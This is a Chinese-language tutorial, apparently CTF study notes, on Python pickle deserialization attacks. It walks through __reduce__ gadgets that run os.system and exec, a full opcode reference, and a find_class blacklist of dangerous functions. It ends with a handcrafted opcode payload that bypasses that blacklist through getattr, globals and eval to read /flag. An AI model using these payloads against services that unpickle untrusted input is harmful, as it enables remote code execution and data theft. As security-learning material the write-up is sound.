pickle反序列化

python反序列通常会用Pickle组件进行操作，和python中的json转换一样，使用loads和dumps2个函数实现反序列化和序列化操作

import pickle

text = 'helloworld'

sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)

可以序列化数组，字典，类

但是在类序列化的时候不会保存类中变量的数据

可以看到反序列化的字符串中没有储存数据

如果要带上数据，就可以使用__reduce__这个魔术方法
__reduce__在序列化的时候触发，执行一次此函数，返回一个元组，包含两个元素：一个callable（通常是一个函数或类的构造函数），以及一个元组，包含传递给这个callable的参数

import pickle

class tmp():
    text = "123"

    def __init__(self, text):
        self.text = text

    def __reduce__(self):
        return (tmp,("helloworld",))

text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

所以我们可以通过__reduce__达到命令执行

import pickle
import os

class tmp():
    text = "123"

    def __reduce__(self):
        return (os.system,("id",))

text = tmp()
sertext = pickle.dumps(text)
print(sertext)

reltext = pickle.loads(sertext)
print(reltext.text)

其中的callable函数会在反序列化的时候调用
pickle经历了几个版本,而序列化的内容又涉及的为向后兼容,在v0版本中序列化的内容最可读，所以可以生成v0的内容来阅读参考

import pickle

class qyy():
    def __reduce__(self):
        return(exec,("__import__('os').popen('id').read()",))
a = qyy()
text = pickle.dumps(a,protocol=0)
print(text.decode())

输出

c__builtin__
exec
p0
(V__import__('os').popen('id').read()
p1
tp2
Rp3
.

指令

其中的常用指令

指令	描述	具体写法	栈上的变化
c	获取一个全局对象或import一个模块	c[module]\n[instance]\n	获得的对象入栈
o	寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象）	o	这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈
i	相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象）	i[module]\n[callable]\n	这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈
N	实例化一个None	N	获得的对象入栈
S	实例化一个字符串对象	S’xxx’\n（也可以使用双引号、\’等python字符串形式）	获得的对象入栈
V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈
I	实例化一个int对象	Ixxx\n	获得的对象入栈
F	实例化一个float对象	Fx.x\n	获得的对象入栈
R	选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数	R	函数和参数出栈，函数的返回值入栈
.	程序结束，栈顶的一个元素作为pickle.loads()的返回值	.	无
(	向栈中压入一个MARK标记	(	MARK标记入栈
t	寻找栈中的上一个MARK，并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈，获得的对象入栈
)	向栈中直接压入一个空元组	)	空元组入栈
l	寻找栈中的上一个MARK，并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈，获得的对象入栈
]	向栈中直接压入一个空列表	]	空列表入栈
d	寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对）	d	MARK标记以及被组合的数据出栈，获得的对象入栈
}	向栈中直接压入一个空字典	}	空字典入栈
p	将栈顶对象储存至memo_n	pn\n	无
g	将memo_n的对象压栈	gn\n	对象被压栈
0	丢弃栈顶对象	0	栈顶对象被丢弃
b	使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置	b	栈上第一个元素出栈
s	将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中	s	第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新
u	寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中	u	MARK标记以及被组合的数据出栈，字典被更新
a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈，第二个元素（列表）被更新
e	寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中	e	MARK标记以及被组合的数据出栈，列表被更新

全部指令

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " &lt; 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build &amp; push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build &amp; push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from &lt; 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " &lt; 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length &lt; 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

pickletools

可以使用python自带的pickletools得到opcode的详细解释

import pickletools
pickletools.dis(text)

输出

0: c    GLOBAL     '__builtin__ exec'
18: p    PUT        0
21: (    MARK
22: V        UNICODE    "__import__('os').popen('id').read()"
59: p        PUT        1
62: t        TUPLE      (MARK at 21)
63: p    PUT        2
66: R    REDUCE
67: p    PUT        3
70: .    STOP

反序列化过滤参数主要靠find_class()函数
eg:

BLACKLISTED_CLASSES = [
    'subprocess.check_output','builtins.eval','builtins.exec',
    'os.system', 'os.popen', 'os.popen2', 'os.popen3', 'os.popen4', 
    'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads', 
    'subprocess.call', 'subprocess.check_call', 'subprocess.Popen', 
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 
    'pty.spawn', 'posixfile.open', 'posixfile.fileopen',
    '__import__','os.spawn*','sh.Command','imp.load_module','builtins.compile'
    'eval', 'builtins.execfile', 'compile', 'builtins.open', 'builtins.file', 'os.system', 
    'os.fdopen', 'os.tmpfile', 'os.fchmod', 'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe',
    'os.chdir', 'os.fchdir', 'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir',
    'os.lstat', 'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
    'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam', 'os.unlink', 'os.walk',
    'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve', 'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe',
    'os.fork', 'os.forkpty', 'os.kill', 'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv',
    'os.spawnve', 'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load', 'cPickle.loads',
    'subprocess.call', 'subprocess.check_call', 'subprocess.check_output', 'subprocess.Popen',
    'commands.getstatusoutput', 'commands.getoutput', 'commands.getstatus', 'glob.glob',
    'linecache.getline', 'shutil.copyfileobj', 'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move',
    'shutil.make_archive', 'popen2.popen2', 'popen2.popen3', 'popen2.popen4', 'timeit.timeit', 'sys.call_tracing',
    'code.interact', 'code.compile_command', 'codeop.compile_command', 'pty.spawn', 'posixfile.open',
    'posixfile.fileopen'
]
class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if f"{module}.{name}" in BLACKLISTED_CLASSES:
            raise pickle.UnpicklingError("Forbidden class: %s.%s" % (module, name))
        return super().find_class(module, name)

在opcode中，c、i、\x93这三个字节码与全局对象有关，当出现这三个字节码时会调用find_class，当我们使用这三个字节码时不违反其限制即可
一个绕过上面过滤的pyload(报错回显版)

opcode=b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g1
(g3
S'eval'
tR(S'exec("raise Exception(__import__(\'os\').popen(\'cat /flag\').read())")'
tR.
'''

参考链接

https://www.cnblogs.com/sijidou/p/16305695.html
https://blog.csdn.net/d710055071/article/details/137523603
https://tttang.com/archive/1885/

python pickle反序列化

pickle反序列化

指令

pickletools

参考链接

ctfshow-web

python-flask内存马

秋雨样